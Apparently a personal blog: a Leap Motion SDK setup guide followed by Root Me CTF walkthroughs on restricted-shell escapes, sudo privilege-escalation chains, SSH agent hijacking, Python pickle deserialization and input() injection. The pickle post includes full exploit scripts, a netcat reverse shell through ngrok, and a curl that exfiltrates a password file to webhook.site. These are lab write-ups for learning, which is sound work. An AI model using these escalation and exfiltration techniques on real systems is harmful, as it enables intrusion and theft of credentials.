domenica 25 aprile 2021

I'M STILL HERE! eMOTION (with no 'e')

 Ok, I know, I missed a lot this small space, and coming back is always an eMOTION, yes an Electronic MOTION!


Ok maybe it is correct to refer as DIGITAL MOTION...

Anyway, some days ago I used a product, the Leap Motion Controller!


Wait...


... AdBlock is it you???...

Ok.. Leap Motion Controller... I would like to talk about it, its company and so on but no $_$ omg :'( so the maximum suffered effort is: look on its website ultraleap.com.

As the name suggests... or not... this device allows to track hands movement and perform nice stuff as interacting with applications with your hands with no touch and so on, so could be a forward step with respect to the (OMG) touch on screens!

Maybe the solution could be still no mature for business users but it is very useful for researchers, developers, people with a fked brain like mine and emperors and kings of this GALAXY (Yes, Andromeda Galaxy is not included!).

There are nice applications to try with Leap Motion Controller but I don't want to focus on it, now I MUST use this post for WHO wants to start to develop nice applications with this device.

So, LET'S START:

Items:
Save LeapSDK folder, freeglut and glew folders in a path, for example "C:\Users\username\Documents\Libraries\".

Freeglut and glew are used only for those applications using GLUT.

For first, set a new environment variable by Windows System Properties. Search on search bar of Windows "System Properties", click on "System" --> "Advanced system settings" --> "Environment Variables..." and in the "System variables" window, click on "New..." and make a new environment variable:

Variable name: LEAP_SDK
Variable value: path of your LeapSDK (i.e. C:\Users\username\Documents\Libraries\LeapSDK)

Reboot the computer.

Open Visual Studio 2019 --> Create a new project --> Console App --> we can name the project as "LeapTest".


  • Open the Project Property Pages using the Project > Properties menu command.
  • Set up a Debug configuration:
    • Choose the Debug configuration as "Debug" or "Active(Debug)" and Platform as "x64" or "Active(x64)".
    • Add the SDK include directory to your project:
      • i.  Under Configuration Properties, select C/C++ > General.
      • ii. In the properties pane, add the SDK include directory to the Additional Include Directories field by adding:

        $(LEAP_SDK)\include
        C:\Users\admin\Documents\Libraries\freeglut\include
        C:\Users\admin\Documents\Libraries\glew\include


    • Add references to the Leap Motion libraries:
      • i. Under Configuration Properties, select Linker > General.
      • ii. In the properties pane, add the SDK lib\x64 directory to the Additional Library Directories field by adding:

        $(LEAP_SDK)\lib\x64
        C:\Users\admin\Documents\Libraries\glew\lib\Release\x64
        C:\Users\admin\Documents\Libraries\freeglut\lib\x64


      • iii. Select Linker > Input
      • iv. Add LeapC.lib;freeglut.lib;glew32.lib;glew32s.lib;opengl32.lib; to the Additional Dependencies field.

    • Add a Post-Build Event to copy the Leap Motion libraries to the project’s target executable directory.
      • i. Under Configuration Properties, select Build Events > Post-Build Event.
      • ii. Edit the Command Line field to copy the libraries, adding:

        xcopy /yr "$(LEAP_SDK)\lib\x64\LeapC.dll" "$(TargetDir)"
        xcopy /yr "C:\Users\admin\Documents\Libraries\glew\bin\Release\x64\glew32.dll" "$(TargetDir)"
        xcopy /yr "C:\Users\admin\Documents\Libraries\freeglut\bin\x64\freeglut.dll" "$(TargetDir)"
  • Set up a Release configuration:
    • Choose the Release configuration.
    • Repeat the steps above with configuration as "Release".

Let's guess you want to test some sample applications provided by Leap Motion in the LeapSDK/samples. This folder contains several examples of programs to test. Let's test the "ExampleConnection" program.

Go to the LeapTest project created at the beginning, and delete the .cpp file containing the main() function (LeapTest.cpp) because the samples are written in C and this could cause errors as "Unresolved external symbol..." due to the linking of .c objects with a .cpp object. At this point, make a new .c file that will contain the main() function.

On the right pane of Visual Studio, under the project, right-click on LeapTest --> Add... --> Existing Item... and select CallbackSample.c (containing the main() function), ExampleConnection.h and ExampleConnection.c. These files are contained in the LeapSDK/samples folder.

Connect the Leap Motion Controller to the computer, compile and build the solution and run the program.
Remember to build as x64 otherwise you will get the error of LeapC.h not found.

When the program is run, you can stop it by pressing Enter.

---------------------------------------

You can also test some GLUT application for having some interesting result. From your project delete the CallbackSample.c, we don't need it and, on the right pane of Visual Studio, under the project, right-click on LeapTest --> Add... --> Existing Item... and select GLUTSample.c, GLutils.c and GLutils.h.

Try again to build and run the application as x64 and your result will open a new graphical window like this:


VERY COOL!

The used LeapSDK is the latest version but in Preview mode, but I think it could have some improvement with respect the previous versions.

The only limit I'm seeing is related to keeping up one or two fingers of one hand and the result is a closed hand. Maybe it could be fixed by "playing" on the Leap functions.

I continue to test more this device... let's see this eMOTION...

lunedì 24 febbraio 2020

RootMe - CTF App Security - Restricted shells

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The seventh challenge that we face is: Restricted shells

Vulnerability type:
  • Privilege Escalation by Sudo weak configuration and the SETUID

##################################################

On the web page of the challenge, click on "Start the challenge" and connect to it by typing:
  • ssh -p 2222 app-script-ch14@challenge02.root-me.org

The password to connect is "app-script-ch14".

At the beginning, look the hint of the screen about the usage of sudo -l. This command could be useful in future.

We can quickly understand that a lot of commands cannot be used and the .passwd file can be accessed only by app-script-ch14-14 user. This occurs because the current shell is based on rbash (restricted bash) that restricts a lot of commands. Usually, when administrators use rbash to restrict the actions of standard users, they put the available commands inside the $HOME directory.
In this scenario, since I cannot use ANYTHING, the first step is to invoke a BASH SHELL (and damn to hell rbash). How can we do this?

After having spent 100 years of our life, we noted that we can use echo command that can be used like ls to see which files we have in a directory.

Typing:
  • echo ./*

we get the files inside the home directory. By typing again echo to see the content of these three directories, we see that the app-script-ch14-sudoers and step14 directories don't show any result, maybe because I don't have right privileges to access to them. But if we type:
  • echo ./step1/*

we see one file, vim.
Vim can be used to execute linux commands. Type:
  • vim

then, in the vim environment, type:
  • :set shell=/bin/bash
  • :shell

At this point, we execute the BASH SHELL and GOODBYE RBASH!!!!!!!!

The challenge is ended. The flag is Th3Ch4ll3ng31sN0t3nD3d.

Of course the challenge is not ended.

Let's resume: I'm app-script-ch14, I'm on bash NOW and the challenge is not ended. Ok.
At least now I should have available a lot of commands.

If I try to type a command I get an error because ... (read the error). So you should invoke the command by using the absolute path, for example /bin/ls for ls command.

I need to have the privilege of app-script-ch14-14 user so I use the following command to see if I can perform some action as app-script-ch14-14:
  • /usr/bin/sudo -l

I get:
Matching Defaults entries for app-script-ch14 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user
User app-script-ch14 may run the following commands on challenge02:
    (app-script-ch14-2) NOPASSWD: /usr/bin/python

It means that I can run python as app-script-ch14-2 user by using my current user. Let's do this. To execute the command as app-script-ch14-2 user, type:
  • /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python

In this way we are executing Python interpreter as the app-script-ch14-2 user. By Python code, we can execute Linux commands to start another shell, of course as app-script-ch14-2 user. In the Python interpreter, just type:
  • >>> import os
  • >>> os.system("/bin/bash")

A new shell with our new user is opened. Now we must do the same actions until we reach the app-script-ch14-14 user.

So, typing sudo -l we get:

Matching Defaults entries for app-script-ch14-2 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-2 may run the following commands on challenge02:
    (app-script-ch14-3) NOPASSWD: /bin/tar

Type:
  • sudo -u app-script-ch14-3 /bin/tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

and we get a shell as app-script-ch14-3 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-3 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-3 may run the following commands on challenge02:
    (app-script-ch14-4) NOPASSWD: /usr/bin/zip

Type:
  • sudo -u app-script-ch14-4 /usr/bin/zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

and we get a shell as app-script-ch14-4 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-4 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-4 may run the following commands on challenge02:
    (app-script-ch14-5) NOPASSWD: /usr/bin/awk

Type:
  • sudo -u app-script-ch14-5 /usr/bin/awk 'BEGIN {system("/bin/bash")}'

and we get a shell as app-script-ch14-5 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-5 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-5 may run the following commands on challenge02:
    (app-script-ch14-6) NOPASSWD: /usr/bin/gdb

Type:
  • sudo -u app-script-ch14-6 /usr/bin/gdb
  • (gdb) python import os; os.system('/bin/bash')

and we get a shell as app-script-ch14-6 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-6 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user

User app-script-ch14-6 may run the following commands on challenge02:
    (app-script-ch14-7) NOPASSWD: /usr/bin/pico

Type:
  • sudo -u app-script-ch14-7 /usr/bin/pico -s "/bin/bash"
Then a text editor appears. Just write /bin/bash and press CTRL+T.
We get a shell as app-script-ch14-7 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-7 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-7 may run the following commands on challenge02:
    (app-script-ch14-8) NOPASSWD: /usr/bin/scp

Here it does not allow me to execute directly the commands, so I should make a script (that is called as app-script-ch14-8 user) that compile a C program that performs a /bin/bash and then set the C executable program with set SETUID. In this way, when the current user will execute this program, it execute it as app-script-ch14-8 user.

For first make a directory in /tmp folder and make these script and program there.
Type:
  • mkdir /tmp/shell
  • cd /tmp/shell
  • chmod 777 .
Inside this folder, make the following C program that we call shell.c:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
        setresgid(getegid(), getegid(), getegid());
        setresuid(geteuid(), geteuid(), geteuid());

        execve("/bin/bash", argv,  envp);

        return 0;
}

Then make the following script that we call run.sh:
#!/bin/bash

gcc shell.c -o shell
chmod 777 shell
chmod +s shell

Then, by remaining in the /tmp/shell folder, execute:
  • chmod 777 run.sh
  • sudo -u app-script-ch14-8 /usr/bin/scp -S ./run.sh 127.0.0.1:/tmp/z.zip ./
The run.sh script will be executed and the shell program (with app-script-ch14-8 ownership) will be generated with SETUID enabled so we can execute this program with the privilege of the owner.
Type:
  • ./shell
and we get a shell as app-script-ch14-8 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-8 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-8 may run the following commands on challenge02:
    (app-script-ch14-9) NOPASSWD: /usr/bin/man

Type:
  • sudo -u app-script-ch14-9 /usr/bin/man ls
  • !/bin/bash
and we get a shell as app-script-ch14-9 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-9 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-9 may run the following commands on challenge02:
    (app-script-ch14-10) NOPASSWD: /usr/bin/ssh

Type:
  • sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './run.sh'" 127.0.0.1

In this way, I execute the run.sh script BEFORE the instantiation of the connection. In this case we will get an error:

Could not create directory '/challenge/app-script/ch14/.ssh'.
ssh_exchange_identification: Connection closed by remote host

but don't worry, because our script has been executed before. Our script generates again an executable program with SETUID enabled that we can run with the same privilege of the owner (that is app-script-ch14-10). So, type:
  • ./shell

and we get a shell as app-script-ch14-10 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-10 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-10 may run the following commands on challenge02:
    (app-script-ch14-11) NOPASSWD: /usr/bin/git

Type:
  • sudo -u app-script-ch14-11 /usr/bin/git help status
  • !/bin/bash
and we get a shell as app-script-ch14-11 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-11 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-11 may run the following commands on challenge02:
    (app-script-ch14-12) NOPASSWD: /usr/bin/rvim

In this case we have again vim but it is restricted, I cannot use :set shell=/bin/bash and :shell commands.
In our help PYTHON (ofc) comes! We can use Python to execute Linux commands. Type:
  • sudo -u app-script-ch14-12 /usr/bin/rvim
  • :python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')
  • :q (or :q!)
  • ./shell
In vim you can also use :python import os; os.system('/bin/bash').

Anyway, we get a shell as app-script-ch14-12 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-12 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-12 may run the following commands on challenge02:
    (app-script-ch14-13) NOPASSWD: /usr/bin/script

Type:
  • sudo -u app-script-ch14-13 /usr/bin/script
and we get a shell as app-script-ch14-13 user.

Again, type sudo -l and we get:
Matching Defaults entries for app-script-ch14-13 on challenge02:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
    !mail_no_user

User app-script-ch14-13 may run the following commands on challenge02:
    (app-script-ch14-14) NOPASSWD: /bin/rbash --

Type:
  • sudo -u app-script-ch14-14 /bin/rbash --
and we get a shell as app-script-ch14-14 user.

NOW I AM the user app-script-ch14-14 as I have desired! THIS SUPER PRIVILEGE ESCALATION!

Note that now we are on the ~/step14 folder. But we have one problem... Did you see? For getting the SOUL of the app-script-ch14-14 user, we have performed the rbash command, so we have again a restricted shell. This time I don't have vim.

Our target is to read the .passwd file that we have in the $HOME folder. I cannot use ls command but like before, I can use echo ./* command to see which files I have in my current directory. Inside the step14 folder I see one file, ./sl. I cannot execute it. I cannot move away from this current folder...

At this point how can we read a file?

We can use different ways, here I show you two ways:

The 1° one by using mapfile. It allows to read any file in an environment variable. Type:
  • mapfile ARRAY < ../.passwd ARRAY
  • echo $ARRAY
The 2° one by using echo:
  • echo $(<../.passwd)
You will get THE FLLLLLLAAAAAAGGGGGGGGGGGGGGGGGGGGGGG!

Now I go to ronfronf...

Risultato immagini per books goodnight you

Useful links:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

sabato 10 novembre 2018

RootMe - CTF App Security - SSH Agent Hijacking

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The seventh challenge that we face is: SSH Agent Hijacking:

Vulnerability type:
  • Privilege Escalation by Agent Forwarding

##################################################

On the web page of the challenge, click on "Start the challenge". If a game is already made, click on Join the game otherwise you need to start a new one. If it asks you to choose a virtual machine, choose "SSH Agent Hijacking" and click on "Save" button, then click on "Start the game" button. If the game was not made before, you should wait to the booting up of the system.

When it indicates the host where you need to connect, connect to it by typing:
  • ssh admin@ctfXX.root-me.org
The password to connect is "admin", as suggested by the track of the challenge.

Now you are inside the target machine and our purpose is to get the /passwd file and the /root/.flag file. But you need to take the privileges of the root user to access these files.
How you can do this? You can exploit it by the agent forwarding.

The admin frequently connects and we should hijack his ssh-agent to get root on this box.
By documentation, we know ssh-agent is providing a socket for authentication and as we are using the same account we will have the same permissions. The socket is set using environment variable SSH_AUTH_SOCK.

You know that each minute you receive a wall message "Good Luck" by the administrator.

Looking around, you can see that on the ~/.ssh directory you have a authorized_keys file that contains the public key of root user (I think). If you try to move/rename/delete this file, the message from the administrator won't appear anymore.

Furthermore, I noted that in the /tmp folder, when the message appears, a directory named ssh-[random-char] is created and it contains a file called agent.[randomnumber], but this directory is deleted after some seconds.

If we are fast, we note that the file agent.[randomnumber] is a socket file (just look by file agent.[randomnumber] command).

It means that I can use that socket to authenticate myself as root user, but that socket file becomes invalid when the directory and the agent file are deleted (that is when the connection from the administrator is closed).

Thus the task is to be fast like the hell!

How can we do this? I made a bash script:
#!/bin/bash/expect -f

cd /tmp/ssh-*
export SSH_AUTH_SOCK=$PWD/$(ls)
ssh-add -l #Lists fingerprints of all identities currently represented by the
    agent.
ssh root@localhost
whoami
So I assigned the agent file to the SSH_AUTH_SOCK environment variable so that I can authenticate as root user.

Then I used ssh-add -l to list fingerprints of all identities currently represented by that agent assigned to SSH_AUTH_SOCK. We use it to verify the socket is usable. This command gives the following output:

2048 SHA256:8MiGCoeKkpOmI8UXQ80981aMeAgpwhbJ1gcoBjFcGjQ /root/.ssh/id_rsa (RSA)

Here I understand that to that agent is associated the private key of the root user.
If we were too slow, the output of the command was "The agent has no identities" because when the connection of the sysadmin has been closed, the agent becomes useless.

At the end of our script we connect quickly to the system as root by the command "ssh root@localhost", localhost because we must connect to the machine where we already are connected as admin.

whoami is used to see if I am authenticated as root.

When should we execute our script?
When the wall message appears, QUICKLY we must execute the script by:
  • source script.sh
It will ask you to confirm the authenticity of the host, you just enter by keyboard "yes", quickly.

NOW YOU ARE THE ROOT!!!

Just access to /root/.flag to get the password to make successful the challenge and /passwd that contains the solution password to close the game.


Useful links:

martedì 6 novembre 2018

RootMe - CTF App Security - Python - pickle

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The sixth challenge that we face is: Python - pickle:

Vulnerability type:
  • Vulnerability Exploitation by pickle Python module

##################################################

The challenge gives you some information:
  • Host: challenge02.root-me.org
  • Protocol: TCP
  • Port: 60005
For first, let's try to connect to the host by HTTP protocol by using our browser by typing: challenge02.root-me.org:60005 or by opening a terminal and typing:
  • curl challenge02.root-me.org:60005
We will get the response:
{"result": "Not allowed you should first AUTH"}
We get already the first hint. This string is telling us to use the HTTP AUTH request.

To do this, open terminal and connect to the target system by netcat:
  • nc challenge02.root-me.org 60005
We press Enter, then we should insert the AUTH request. I remember you that we can only send one HTTP request:
  • AUTH dummy HTTP/1.0 
or
  • AUTH dummy HTTP/1.1
click Enter two times. We get: 

{"result": "unknown user group: DUMMY"}

It means that we must insert the correct user group. The track of the challenge says that we should connect as admin so try this:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1
Press Enter two times. We get:

 {"result": "Can't find 'Authenticate' header"}

The output gives us another hint: we should insert a string for Authenticate header. So, since we don't know what we should insert, let's try:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1 
  • Authenticate:blablabla
and press Enter two times. We get:

 {"result": "Authentication failed = Traceback (most recent call last):\n  File \"/challenge/app-script/ch5/ch5\", line 52, in do_AUTH\n    authcombi = pickle.loads(base64.b64decode(self.headers.getheader('Authenticate')))\n  File \"/usr/lib/python2.7/base64.py\", line 76, in b64decode\n    raise TypeError(msg)\nTypeError: Incorrect padding\n"}

Here we understand that the pickle module is used. We understand also that the string that we insert for Authenticate is the input of the pickle.loads() where we can inject our command.
Reading the documentation about Python Pickle, pickle.loads() takes as input a pickled (serialized) object. We can pickle objects (like strings) by using the pickle.dumps() function. From the error above, we understand also that in our case, the input pickled string should be encoded as Base64.

Generally, in order to pickle and unpickle the objects correctly, we need to make, inside a python script, a class with a __reduce__(self) method (at the end I give you some source about this for better understanding).

In our case, we need to make a python script in order to pickle our string and, then, generate the Base64 encoded one. In this example (found on the web) it is used the cPickle library but you can import also the pickle library.
#!/usr/bin/python 
 
import cPickle 
import sys 
import base64 

CMD = "yourBASTARDcommand"

 
class PickleObject(object): 
  def __reduce__(self): 
    import os 
    return (os.system,(CMD,)) 


print base64.b64encode(cPickle.dumps(PickleObject()))
If you execute this python script, you will get your BAST*** Base64 encoded command <3. This resulting string will be what we insert for Authenticate header during our HTTP request.
But the problem now is: ok, I inject a command, i.e. ls -la... When I inject this command, the target system will perform it but the output remains on IT! We need to find a way to redirect that output from the target system to our machine.
I thought a solution: expose our machine on Internet, make a listener on our machine and make sure that the target system will connect to our machine.
We do this by ngrok and netcat. So download ngrok and follow the instruction on the website to install it and to get the key to unlock the tcp connection functionality (you need only to register by using your email then you will get the key on the dashboard of ngrok website). Then, go to the ngrok executable location and expose our machine on the webbbbbe:
  • ./ngrok tcp 1337
and press Enter. At this point, if your Session Status results as online, look for Forwarding and copy the tcp link (i.e. 0.tcp.ngrok.io:#####, where ##### is a number). It means that if someone connects to that link, it will be redirect to your machine at the 1337 port. We use this tcp link inside our command to be injected.
But now we need to make a listener on the 1337 for the reason above. We use netcat:
  • nc -lp 1337 -vvv
and press Enter. Now we are listening anything on 1337 port. Now we make sure that the target system connects to our machine.
For first, open another terminal. Inside the python script above the following command:
nc 0.tcp.ngrok.io ##### -e /bin/bash
in order to open a shell on the target machine and perform what you desire. You can also insert directly other commands to get directly the content of .passwd.
Anyway your script will be:
#!/usr/bin/python 
 
import cPickle 
import sys 
import base64 

CMD = "nc 0.tcp.ngrok.io ##### -e /bin/bash"

 
class PickleObject(object): 
  def __reduce__(self): 
    import os 
    return (os.system,(CMD,)) 


print base64.b64encode(cPickle.dumps(PickleObject())) 
Save and execute. You will get a Base64 string. Copy by CTRL-C then open a terminal and type:
  • nc challenge02.root-me.org 60005
  • AUTH admin HTTP/1.1
  • Authenticate:[insert here the Base64 string]
press Enter two times. At this point, come back to the terminal of the listener and you will see the message:

connect to [127.0.0.1] from localhost [127.0.0.1] [a-number]

At this point, it means that the /bin/bash command has been unpickled and executed on the target machine, so, by using the listener terminal, you can give any command you prefer, for example if you try ls -la, you will get the content of the root directory of the target system.

Where is the solution? You can know that by reading the error that we got at the beginning about the Authenticate header or you can find it simply by typing:
  • find / -name ".passwd"
  • cat challenge/app-script/ch5/ch5


Useful links:

###############################

Other solutions (not mine):
  1. Inside the injected command in the script, use: os.system, (('cat /challenge/app-script/ch5/.passwd >&4'))),) where the ’4’ in the ’>&4’ part was found by trial and error. It is the file descriptor that is associated with the HTTP response stream. 0, 1 and 2 are the standard unix process IO streams. So I started at ’3’ and moved up till I saw the output in the response. You will get the solution when you pass the Base64 encoded command to the Authenticate header. (source:root-me.org)
  2. Another interesting solution is written in this python script:
    from pwny import *
    
    def socket_hunter():
        import inspect, socket, subprocess
        frame = inspect.currentframe().f_back
        greeting = 'Found %r (%r), enjoy your shell!\n'
        while frame:
            for key, value in frame.f_locals.items():
                if hasattr(value, 'sendall'):
                    value.sendall((greeting % (key, value)).encode('ascii'))
                    return subprocess.call(['/bin/sh'], stdin=value, stdout=value)
    
            self = frame.f_locals.get('self')
            if self is not None:
                for key, value in vars(self).items():
                    if hasattr(value, 'sendall'):
                        value.sendall((greeting % (key, value)).encode('ascii'))
                        return subprocess.call(['/bin/sh'], stdin=value, stdout=value, stderr=value)
    
            frame = frame.f_back
    
    f = Flow.connect_tcp('challenge02.root-me.org', 60005)
    f.writeline('AUTH admin HTTP/1.0')
    f.writeline('Authenticate: %s' % enb64(pickle_func(socket_hunter, protocol=2, target=27)))
    f.writeline()
    f.interact()
    then, run the script and at the 'enjoy your shell' message, you can submit any command you prefer.
  3. Set up a listener on your machine by nc -lvp 1337.
    Then, on another terminal run the following python script:
    import pickle
    import socket
    import os
    import base64                                                
    
    class exploit(object):
        def __reduce__(self):
           comm = "cat /challenge/app-script/ch5/.passwd | nc -q 1 localhost 8090" #Command to unpickle and execute
           return (os.system, (comm,))
    
    payload = base64.b64encode(pickle.dumps(exploit()))
    
    http="AUTH admin HTTP/1.1\r\nAuthenticate: "+payload+"\r\nContent-Length: 0\r\n\r\n" #Create the HTTP request
    
    #Set up the socket
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.connect(("challenge02.root-me.org", 60005))
    s.send(http) #Send the HTTP request
    #Receive data and close
    data = (s.recv(1000000))
    print data
    s.shutdown(1)
    s.close()
    print 'Received', repr(data)
    The HTTP response will be 200 OK and the content of .passwd will be printed out on the listener.
  4. Go to webhook.site and create your URL. On top-right click on Copy to copy your webhook link and paste it inside the script below replacing the existing webhook link but remaining ?pass= argument.
    #!/usr/bin/python
    import cPickle
    import httplib
    import urllib
    import os,base64
         
    class payload(object):
            def __reduce__(self):
               comm="curl https://webhook.site/a8108d2f-5d35-410bdsadrandomchar-b632-48c633c5894b?pass=$(cat /challenge/app-script/ch5/.passwd)"
               return (os.system, (comm,))
         
    payload = base64.b64encode(cPickle.dumps(payload()))
    print payload
    host = "challenge02.root-me.org"
    port = 60005
    webservice = httplib.HTTPConnection(host, port)
    webservice.putrequest("AUTH", "admin")
    webservice.putheader("Authenticate", payload)
    webservice.endheaders()
    webservice.send(payload)
    response = webservice.getresponse()
    print response.read(4096)
    Then, run this script.
    You will get an error, but if you connect to your webhook.site page, you will see the solution at the section Query strings at argument pass.

martedì 9 ottobre 2018

RootMe - CTF App Security - Python - input()

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The sixth challenge that we face is: Python - input():

Vulnerability type:
  • Vulnerability Exploitation by Input() Python function

##################################################

At the beginning, open terminal and type:
  • ssh -p 2222 app-script-ch6@challenge02.root-me.org
to connect to the target system. If it asks for a password, insert app-script-ch6.

If we type ls -la command, we will see four files: ch6.py, setuid-wrapper, .passwd and setuid-wrapper.c.

setuid-wrapper simply calls the ch6.py script.

For first, let's analyze the ch6.py script file:
#!/usr/bin/python2

import sys

def youLose():
    print "Try again ;-)"
    sys.exit(1)

try:
    p = input("Please enter password : ")
except:
    youLose()

with open(".passwd") as f:
    passwd = f.readline().strip()
    try:
        if (p == int(passwd)):
            print "Well done ! You can validate with this password !"
    except:
        youLose()
By reading on the web, we know that the input() function is vulnerable because we can call each routine we prefer. For example, if we start the program (as setuid-wrapper to take app-script-ch6cracked privileges) and we insert youLose(), the function youLose() defined inside the script will be executed.
If passwd has been defined before the input() statement, I could set as input int(passwd) and in this way, the if statement would be always true.

In our case, we need to read the .passwd. To do this, start the program by setuid-wrapper, then we can exploit the vulnerability by inserting __import__("os").system('cat .passwd'). We will get the solution.

Remember that I can also call a bash shell by inserting __import__("os").execl("/bin/sh","sh"). In this way we have a shell with app-script-ch6cracked privileges.

domenica 7 ottobre 2018

RootMe - CTF App Security - Bash - cron

I'm considering seriously the CTF topic, it is so funny but I need to learn more and more.

A good choice to start learning is


Root Me allows us to practice with a lot of challenges, classified in arguments: App - Script, App - System, Cracking, Cryptanalysis, Forensic, Network, Programming, Realist, Steganography, Web - Client, Web - Server.

Let's start with the first category: App - Script.

The fifth challenge that we face is: Bash - cron:

Vulnerability type:
  • Privilege Escalation by exploiting CRON jobs

##################################################

At the beginning, open terminal and type:
  • ssh -p 2222 app-script-ch4@challenge02.root-me.org
to connect to the target system. If it asks for a password, insert app-script-ch4.

If we type ls -la command, we will see two files: ch4 and cron.d. cron.d is a symbolic link to /tmp/._cron folder.

It's clear that this challenge is focused on cron jobs: Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server. The list of cron jobs are shown by executing crontab -l. The programs shown on crontab -l will be executed as owner's program privileges.

For first, let's analyze the ch4 script file:
#!/bin/bash

# Sortie de la commande 'crontab -l' exécutée en tant que app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# Vous N'avez PAS à modifier la crontab(chattr +i t'façons)

# Output of the command 'crontab -l' run as app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# You do NOT need to edit the crontab (it's chattr +i anyway)

# hiding stdout/stderr
exec 1>/dev/null 2>&1

wdir="cron.d/"
challdir=${0%/*}
cd "$challdir"


if [ ! -e "/tmp/._cron" ]; then
    mkdir -m 733 "/tmp/._cron"
fi

ls -1a "${wdir}" | while read task; do
    if [ -f "${wdir}${task}" -a -x "${wdir}${task}" ]; then
     timelimit -q -s9 -S9 -t 5 bash -p "${PWD}/${wdir}${task}"
    fi
    rm -f "${PWD}/${wdir}${task}"
done

rm -rf cron.d/*
